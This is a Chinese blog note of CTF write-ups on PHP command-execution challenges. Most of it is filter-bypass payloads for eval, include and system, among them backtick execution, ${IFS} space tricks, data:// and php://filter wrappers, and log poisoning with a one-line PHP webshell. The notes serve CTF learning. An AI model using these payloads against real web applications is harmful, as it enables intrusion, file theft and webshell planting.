CTF Web入门 命令执行 笔记

CTF Web入门

命令执行

eval(读取命令),但各种字符被ban

if(!pregmatch("...",$c)) #指过滤了...
	eval($c);

这时候可以尝试

?c=system("ls"); 
?c=system("cp flag.php 1.txt"); 
1.txt

若屏蔽了flag/php/“”/system

?c=`cp fla?.??? 1.txt`; #反引号类似于system作用,

若屏蔽了.

?c=eval($_GET[1]);/?> &1=system("tac flag.php");

使用跳板1逃逸了对于c的正则判断

若屏蔽了()

或者可以使用include、require用文件包含解决

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php #%0a是换行符

include($),但flag/php被ban

if(!pregmatch("/flag/i",$c)){
  include($c);
  echo $flag;
}

使用data伪协议

?c=data://text/plain,<?php system("mv fla*.php 1.txt")?>

为什么不能用

php://filter/convert.base64-encode/resource=flag.php

因为题目过滤了flag

若过滤了php

这时候就要使用短标签绕过

?c=data://text/plain,<?=system("cp fla*.*** 1.txt")?>

system(“shell命令”),但各种字符被ban

if(!pregmatch("...",$c))
	system($c."	>dev/null 2>&1");#后面这串奇怪的东西是让你执行的结果不显示

这里可以使用双写绕过

?c=tac%20/%09flag.php&&/;/||ls

如果空格/tab/flag/&全部被过滤了,就要使用一种不用空格的读取命令

?c=nl<fla''g.php||ls

这里因为不支持通配,故利用shell特性’‘分隔字符串,执行时’‘会自动忽略

如果<也被ban了怎么办?

如果有$ 的话可以使用${IFS},它代表空格/tab/换行

?c=mv${IFS}fla?.php${IFS}a.txt%7C%7Cls

eval(读取命令),但有些读取命令被ban

$c=$_POST['c'];
eval($c);

尝试各种系统读取文件的方法

#POST:
c=system();	echo shell_exec();	file_get_contents("*.php");
highlight_file();	show_source();
c=echo include($_GET[1]); 
#这时候在GET添加?1=php://filter/convert.base64-encode/resource=flag.php	
#也可以用日志注入?1=/var/log/nginx/access.log 在User-Agent添加一句话木马<?php eval($_POST[a]);?>
#如果你确定变量名为flag的话
c=include("flag.php");echo $flag;
c=include("flag.php");var_dump(get_defined_vars());
#再或者
c=$curl = curl_init();
//设置url
curl_setopt($curl, CURLOPT_URL, 'file:///var/www/html/flag.php');
// 不返回HTTP头部信息
curl_setopt($curl, CURLOPT_HEADER, false);
// 设置获取的信息以文件流的形式返回
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// 执行命令
$data = curl_exec($curl);
//防止返回结果数据中文乱码
$data =mb_convert_encoding($data , 'UTF-8', 'UTF-8,GBK,GB2312,BIG5');
// 关闭URL请求
curl_close($curl);
// 显示获得的数据
print_r($data);

这里补充几种扫描目录并打印的方法

c=var_dump(scandir('.'));//扫描当前目录
c=var_dump(scandir('../'));//扫描上一级目录
c=var_dump(scandir('/'));//扫描根目录
c=print_r(scandir('/'));
#如果没有读权限了,试试GLOBAL协议
c=$a="glob:///*.txt"; //glob:// /*.txt
	if($b=opendir($a)){
    while(($file=readdir($b))!==false){
      echo "filename:".$file."\n";
    }
    closedir($b);
  }

来自ctfshow群主大菜鸡录制的web入门命令执行系列视频
视频移步CTFshow的个人空间_哔哩哔哩_bilibili

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值